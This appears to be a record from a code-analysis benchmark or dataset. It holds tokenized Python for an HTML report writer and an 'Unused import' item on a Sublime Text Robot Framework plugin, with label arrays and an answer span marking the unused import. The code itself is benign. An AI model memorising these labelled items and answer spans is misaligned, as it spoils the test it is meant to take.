"+_",
"'<",
"/",
"h1",
"><",
"/",
"div",
"><",
"div",
" ",
"class",
"=\"",
"middle",
"\">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"h2",
">",
"Project",
" ",
"Summ",
"ary",
"</",
"h2",
">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"div",
" ",
"style",
"=\"",
"widt",
"h",
":",
" ",
"90",
"%",
"\">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"len_",
"(_",
"self_",
"._",
"\\u",
"doc_",
")_",
">_",
"0_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"f_",
"._",
"write_",
"(_",
"'<",
"b",
">",
"Descripti",
"on",
":",
"</",
"b",
">",
" ",
"'_",
"+_",
"self_",
"._",
"\\u",
"doc_",
"+_",
"'<",
"br",
">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"b",
">",
"Number",
" ",
"of",
" ",
"Modul",
"es",
":",
"</",
"b",
">",
" ",
"'_",
"+_",
"str_",
"(_",
"len_",
"(_",
"self_",
"._",
"\\u",
"get",
"Graph_",
"(_",
")_",
")_",
")_",
"+_",
"'<",
"br",
">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"b",
">",
"Number",
" ",
"of",
" ",
"Output",
" ",
"module",
"s",
":",
"</",
"b",
">",
" ",
"'_",
"+_",
"str_",
"(_",
"sum_",
"(_",
"[_",
"self_",
"._",
"\\u",
"is",
"File",
"Mod_",
"(_",
"node_",
")_",
"for_",
"node_",
"in_",
"self_",
"._",
"\\u",
"get",
"Graph_",
"(_",
")_",
"._",
"get",
"Nodes_",
"(_",
")_",
"]_",
")_",
")_",
"+_",
"'<",
"br",
">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"b",
">",
"Total",
" ",
"CPU",
" ",
"time",
" ",
"require",
"d",
":",
"</",
"b",
">",
" ",
"'_",
"+_",
"self_",
"._",
"\\u",
"reada",
"ble",
"time_",
"(_",
"sum_",
"(_",
"[_",
"self_",
"._",
"\\u",
"res",
"map_",
"[_",
"x_",
"]_",
"._",
"\\u",
"build",
"time_",
"for_",
"x_",
"in_",
"self_",
"._",
"\\u",
"res",
"map_",
"]_",
")_",
")_",
"+_",
"'<",
"br",
">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"/",
"div",
"><",
"br",
">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"h2",
">",
"Proto",
"col",
" ",
"map",
"</",
"h2",
">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"div",
" ",
"align",
" ",
"=",
" ",
"\"",
"center",
"\">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"IMG",
" ",
"SR",
"C",
"=\"'_",
"+_",
"ona",
"me_",
"+_",
"'.",
"gif",
"\"",
" ",
"USE",
"MAP",
"=\"",
"#",
"G",
"\"",
" ",
"/>",
"\\\\",
"n",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"/",
"div",
">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"map_",
"=_",
"open_",
"(_",
"fullname_",
"+_",
"'.",
"map",
"'_",
")_",
"._",
"read_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"map_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"h2",
">",
"Modul",
"es",
"'_",
"'",
" ",
"deta",
"il",
"s",
"<",
"h2",
">\\\\",
"n",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"idx_",
",_",
"node_",
"in_",
"enumerate_",
"(_",
"self_",
"._",
"\\u",
"get",
"Graph_",
"(_",
")_",
"._",
"get",
"Nodes_",
"(_",
")_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"f_",
"._",
"write_",
"(_",
"'<",
"h",
"3",
"><",
"a",
" ",
"name",
"=\"'_",
"+_",
"str_",
"(_",
"node_",
")_",
"+_",
"'\\u",
"deta",
"il",
"s",
"\">'_",
"+_",
"str_",
"(_",
"node_",
")_",
"+_",
"'<",
"/",
"a",
"><",
"/",
"h",
"3",
">\\\\",
"n",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"docstr",
"_",
"=_",
"inspect_",
"._",
"getd",
"oc_",
"(_",
"self_",
"._",
"\\u",
"modules_",
"[_",
"node_",
"]_",
"._",
"get",
"Value_",
"(_",
")_",
")_",
"if_",
"type_",
"(_",
"self_",
"._",
"\\u",
"modules_",
"[_",
"node_",
"]_",
"._",
"get",
"Value_",
"(_",
")_",
")_",
"==_",
"type_",
"(_",
"inspect_",
"._",
"getd",
"oc_",
")_",
"else_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"docstr",
"_",
"==_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"f_",
"._",
"write_",
"(_",
"'[",
"documentation",
" ",
"not",
" ",
"avail",
"able",
"]'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"f_",
"._",
"write_",
"(_",
"docstr",
"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"not_",
"self_",
"._",
"\\u",
"res",
"map_",
"[_",
"node_",
"]_",
"._",
"\\u",
"timestamp_",
"==_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"tsta",
"mp_",
"=_",
"self_",
"._",
"\\u",
"res",
"map_",
"[_",
"node_",
"]_",
"._",
"\\u",
"timestamp_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"bt",
"ime_",
"=_",
"self_",
"._",
"\\u",
"res",
"map_",
"[_",
"node_",
"]_",
"._",
"\\u",
"build",
"time_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"tsta",
"mp_",
"=_",
"'",
"neve",
"r",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"bt",
"ime_",
"=_",
"'",
"uk",
"nk",
"now",
"n",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"br",
"><",
"br",
">",
"Las",
"t",
" ",
"build",
" ",
"was",
" ",
"on",
" ",
"'_",
"+_",
"tsta",
"mp_",
"+_",
"'.",
"<",
"br",
">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'",
"Time",
" ",
"it",
" ",
"too",
"k",
":",
" ",
"'_",
"+_",
"str_",
"(_",
"self_",
"._",
"\\u",
"reada",
"ble",
"time_",
"(_",
"bt",
"ime_",
")_",
")_",
"+_",
"'.",
"<",
"br",
">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"div",
" ",
"class",
"=\"",
"code",
"\">",
"<",
"pre",
">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"src",
"code_",
"=_",
"inspect_",
"._",
"gets",
"ource_",
"(_",
"self_",
"._",
"\\u",
"modules_",
"[_",
"node_",
"]_",
"._",
"get",
"Value_",
"(_",
")_",
")_",
"if_",
"type_",
"(_",
"self_",
"._",
"\\u",
"modules_",
"[_",
"node_",
"]_",
"._",
"get",
"Value_",
"(_",
")_",
")_",
"==_",
"type_",
"(_",
"inspect_",
"._",
"getd",
"oc_",
")_",
"else_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"src",
"code_",
"._",
"replace_",
"(_",
"'\\\\",
"n",
"'_",
",_",
"'<",
"br",
">'_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"/",
"pre",
"><",
"/",
"div",
">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"hr",
">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"div",
" ",
"id",
"=\"",
"footer",
"\">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"br",
"><",
"br",
"><",
"i",
">",
"Automat",
"ical",
"ly",
" ",
"generat",
"ed",
" ",
"on",
" ",
"'_",
"+_",
"time_",
"._",
"asc",
"time_",
"(_",
")_",
"+_",
"'",
" ",
"usi",
"ng",
" ",
"Lea",
"f",
"</",
"i",
">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"/",
"div",
">'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"html",
"\\u",
"footer_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"close_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"##",
" ",
"copy",
"ing",
" ",
"external",
" ",
"resources_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"from_",
"pkg",
"\\u",
"resources_",
"import_",
"resource",
"\\u",
"filename_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"style",
"f_",
"=_",
"resource",
"\\u",
"filename_",
"(_",
"'",
"pyl",
"ea",
"f",
"'_",
",_",
"'",
"resource",
"s",
"/",
"style",
".",
"css",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"logo",
"f_",
"=_",
"resource",
"\\u",
"filename_",
"(_",
"'",
"pyl",
"ea",
"f",
"'_",
",_",
"'",
"resource",
"s",
"/",
"leaf",
".",
"png",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"style",
"f",
" ",
"=",
" ",
"os",
".",
"path",
".",
"join",
"(",
"sys",
".",
"prefix",
",",
" ",
"'",
"style",
".",
"css",
"')",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"logo",
"f",
" ",
"=",
" ",
"os",
".",
"path",
".",
"join",
"(",
"sys",
".",
"prefix",
",",
" ",
"'",
"leaf",
".",
"png",
"')",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"shutil_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"shutil_",
"._",
"copy_",
"(_",
"style",
"f_",
",_",
"odi",
"r_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"shutil_",
"._",
"copy_",
"(_",
"logo",
"f_",
",_",
"odi",
"r_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"(_",
"'",
"Cou",
"ld",
"n",
"\\\\'",
"t",
" ",
"copy",
" ",
"resource",
" ",
"files",
".",
" ",
"HTM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
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | shellderp/sublime-robot-plugin/lib/robot_scanner.py | [
{
"content": "import os\nimport re\nfrom copy import copy\nfrom collections import deque\nfrom time import time\n\nimport sublime\n\nfrom robot.api import TestCaseFile, ResourceFile\nfrom robot.errors import DataError\n\nfrom scanner_cache import ScannerCache\nfrom string_populator import populate_from_lines\n\n\nscanner_cache = ScannerCache()\n\nSCAN_TIMEOUT = 5 # seconds\n\ndetect_robot_regex = '\\*+\\s*(settings?|metadata|(user )?keywords?|test ?cases?|variables?)'\n\n\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "class WrappedKeyword:\n\n\n",
"metadata": "root.WrappedKeyword",
"header": "['module', '___EOS___']",
"index": 21
},
{
"content": " def __init__(self, data_file, keyword, file_path):\n self.keyword = keyword\n self.name = data_file.name + '.' + keyword.name\n self.file_path = file_path\n self.description = []\n args = ', '.join(keyword.args.value)\n if args:\n self.description.append(args)\n if keyword.doc.value:\n self.description.append(keyword.doc.value)\n self.description.append(file_path)",
"metadata": "root.WrappedKeyword.__init__",
"header": "['class', 'WrappedKeyword', ':', '___EOS___']",
"index": 22
},
{
"content": " def show_definition(self, view, views_to_center):\n source_path = self.keyword.source\n new_view = view.window().open_file(\"%s:%d\" % (source_path, self.keyword.linenumber), sublime.ENCODED_POSITION)\n new_view.show_at_center(new_view.text_point(self.keyword.linenumber, 0))\n if new_view.is_loading():\n views_to_center[new_view.id()] = self.keyword.linenumber",
"metadata": "root.WrappedKeyword.show_definition",
"header": "['class', 'WrappedKeyword', ':', '___EOS___']",
"index": 34
},
{
"content": " def __eq__(self, other):\n return isinstance(other, WrappedKeyword) and self.file_path == other.file_path",
"metadata": "root.WrappedKeyword.__eq__",
"header": "['class', 'WrappedKeyword', ':', '___EOS___']",
"index": 41
},
{
"content": " def allow_unprompted_go_to(self):\n return True",
"metadata": "root.WrappedKeyword.allow_unprompted_go_to",
"header": "['class', 'WrappedKeyword', ':', '___EOS___']",
"index": 44
},
{
"content": "class Scanner(object):\n\n\n\n\n",
"metadata": "root.Scanner",
"header": "['module', '___EOS___']",
"index": 48
},
{
"content": " def __init__(self, view):\n self.view = view",
"metadata": "root.Scanner.__init__",
"header": "['class', 'Scanner', '(', 'object', ')', ':', '___EOS___']",
"index": 50
},
{
"content": " def scan_file(self, data_file):\n self.start_time = time()\n self.start_path = data_file.directory\n self.scanned_files = set()\n keywords = {}\n self.__scan_file(keywords, data_file, deque())\n return keywords",
"metadata": "root.Scanner.scan_file",
"header": "['class', 'Scanner', '(', 'object', ')', ':', '___EOS___']",
"index": 53
},
{
"content": " def __scan_file(self, keywords, data_file, import_history):\n if time() - self.start_time > SCAN_TIMEOUT:\n sublime.set_timeout(lambda: self.view.set_status('scan_error', 'scanning timeout exceeded'), 0)\n sublime.set_timeout(lambda: self.view.erase_status('scan_error'), 5000)\n return\n self.scanned_files.add(data_file.source)\n if data_file.source in import_history:\n # prevent circular import loops\n return\n import_history = copy(import_history)\n import_history.append(data_file.source)\n\n for setting in data_file.imports:\n if hasattr(setting, 'type'):\n if setting.type == 'Resource':\n resource_path = os.path.normpath(os.path.join(setting.directory, setting.name))\n cached, stored_hash = scanner_cache.get_cached_data(resource_path)\n if cached:\n self.__scan_file(keywords, cached, import_history)\n else:\n try:\n resource_data = ResourceFile(source=resource_path).populate()\n scanner_cache.put_data(resource_path, resource_data, stored_hash)\n self.__scan_file(keywords, resource_data, import_history)\n except DataError as de:\n print 'error reading resource:', resource_path\n\n self.scan_keywords(data_file, keywords)",
"metadata": "root.Scanner.__scan_file",
"header": "['class', 'Scanner', '(', 'object', ')', ':', '___EOS___']",
"index": 61
},
{
"content": " def scan_keywords(self, data_file, keywords):\n for keyword in data_file.keyword_table:\n lower_name = keyword.name.lower()\n if not keywords.has_key(lower_name):\n keywords[lower_name] = []\n wrapped = WrappedKeyword(data_file, keyword, os.path.relpath(keyword.source, self.start_path))\n if wrapped in keywords[lower_name]:\n continue\n keywords[lower_name].append(wrapped)",
"metadata": "root.Scanner.scan_keywords",
"header": "['class', 'Scanner', '(', 'object', ')', ':', '___EOS___']",
"index": 90
},
{
"content": " def scan_without_resources(self, file_path, keywords):\n if file_path in self.scanned_files:\n return\n\n try:\n with open(file_path, 'rb') as f:\n lines = f.readlines()\n except IOError as e:\n return\n\n cached, stored_hash = scanner_cache.get_cached_data(file_path, lines)\n if cached:\n self.scan_keywords(cached, keywords)\n else:\n try:\n for line in lines:\n if re.search(detect_robot_regex, line, re.IGNORECASE) != None:\n data_file = populate_from_lines(lines, file_path)\n scanner_cache.put_data(file_path, data_file, stored_hash)\n self.scan_keywords(data_file, keywords)\n break\n except DataError as de:\n pass",
"metadata": "root.Scanner.scan_without_resources",
"header": "['class', 'Scanner', '(', 'object', ')', ':', '___EOS___']",
"index": 100
}
]
| [
{
"span": "from robot.api import TestCaseFile, ResourceFile",
"start_line": 8,
"start_column": 0,
"end_line": 8,
"end_column": 48
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"import_",
"os_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"re_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"copy_",
"import_",
"copy_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"collections_",
"import_",
"deque_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"time_",
"import_",
"time_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"sublime_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"robot_",
"._",
"api_",
"import_",
"Test",
"Case",
"File_",
",_",
"Reso",
"urc",
"e",
"File_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"robot_",
"._",
"errors_",
"import_",
"Data",
"Error_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"scanner",
"\\u",
"cache_",
"import_",
"Scann",
"er",
"Cache_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"string",
"\\u",
"popul",
"ator_",
"import_",
"populate",
"\\u",
"from",
"\\u",
"lines_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"scanner",
"\\u",
"cache_",
"=_",
"Scann",
"er",
"Cache_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"SCAN",
"\\u",
"TIMEOUT_",
"=_",
"5_",
"#",
" ",
"seconds_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"detect",
"\\u",
"robot",
"\\u",
"regex_",
"=_",
"'\\\\",
"*+",
"\\\\",
"s",
"*(",
"settings",
"?|",
"metadata",
"|(",
"user",
" ",
")?",
"keywords",
"?|",
"test",
" ",
"?",
"case",
"s",
"?|",
"variab",
"les",
"?)'",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"Wrapp",
"ed",
"Keyword_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Wrapp",
"ed",
"Keyword_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"data\\u",
"file_",
",_",
"keyword_",
",_",
"file",
"\\u",
"path_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"keyword_",
"=_",
"keyword_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"name_",
"=_",
"data\\u",
"file_",
"._",
"name_",
"+_",
"'.'_",
"+_",
"keyword_",
"._",
"name_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"file",
"\\u",
"path_",
"=_",
"file",
"\\u",
"path_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"description_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"args_",
"=_",
"',",
" ",
"'_",
"._",
"join_",
"(_",
"keyword_",
"._",
"args_",
"._",
"value_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"args_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"description_",
"._",
"append_",
"(_",
"args_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"keyword_",
"._",
"doc_",
"._",
"value_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"description_",
"._",
"append_",
"(_",
"keyword_",
"._",
"doc_",
"._",
"value_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"description_",
"._",
"append_",
"(_",
"file",
"\\u",
"path_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Wrapp",
"ed",
"Keyword_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"show",
"\\u",
"definition_",
"(_",
"self_",
",_",
"view_",
",_",
"views",
"\\u",
"to",
"\\u",
"center_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"source",
"\\u",
"path_",
"=_",
"self_",
"._",
"keyword_",
"._",
"source_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"new",
"\\u",
"view_",
"=_",
"view_",
"._",
"window_",
"(_",
")_",
"._",
"open",
"\\u",
"file_",
"(_",
"\"%",
"s",
":",
"%",
"d",
"\"_",
"%_",
"(_",
"source",
"\\u",
"path_",
",_",
"self_",
"._",
"keyword_",
"._",
"linenum",
"ber_",
")_",
",_",
"sublime_",
"._",
"ENCODE",
"D",
"\\u",
"POSITION",
"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"new",
"\\u",
"view_",
"._",
"show",
"\\u",
"at",
"\\u",
"center_",
"(_",
"new",
"\\u",
"view_",
"._",
"text",
"\\u",
"point_",
"(_",
"self_",
"._",
"keyword_",
"._",
"linenum",
"ber_",
",_",
"0_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"new",
"\\u",
"view_",
"._",
"is",
"\\u",
"loading_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"views",
"\\u",
"to",
"\\u",
"center_",
"[_",
"new",
"\\u",
"view_",
"._",
"id_",
"(_",
")_",
"]_",
"=_",
"self_",
"._",
"keyword_",
"._",
"linenum",
"ber_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Wrapp",
"ed",
"Keyword_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"eq\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"isinstance_",
"(_",
"other_",
",_",
"Wrapp",
"ed",
"Keyword_",
")_",
"and_",
"self_",
"._",
"file",
"\\u",
"path_",
"==_",
"other_",
"._",
"file",
"\\u",
"path_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Wrapp",
"ed",
"Keyword_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"allow",
"\\u",
"unpr",
"omp",
"ted",
"\\u",
"go",
"\\u",
"to_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"Scanner_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Scanner_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"view_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"view_",
"=_",
"view_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Scanner_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"scan",
"\\u",
"file_",
"(_",
"self_",
",_",
"data\\u",
"file_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"start",
"\\u",
"time_",
"=_",
"time_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"start",
"\\u",
"path_",
"=_",
"data\\u",
"file_",
"._",
"directory_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"scanned",
"\\u",
"files_",
"=_",
"set_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"keywords_",
"=_",
"{_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u\\u",
"scan",
"\\u",
"file_",
"(_",
"keywords_",
",_",
"data\\u",
"file_",
",_",
"deque_",
"(_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"keywords_",
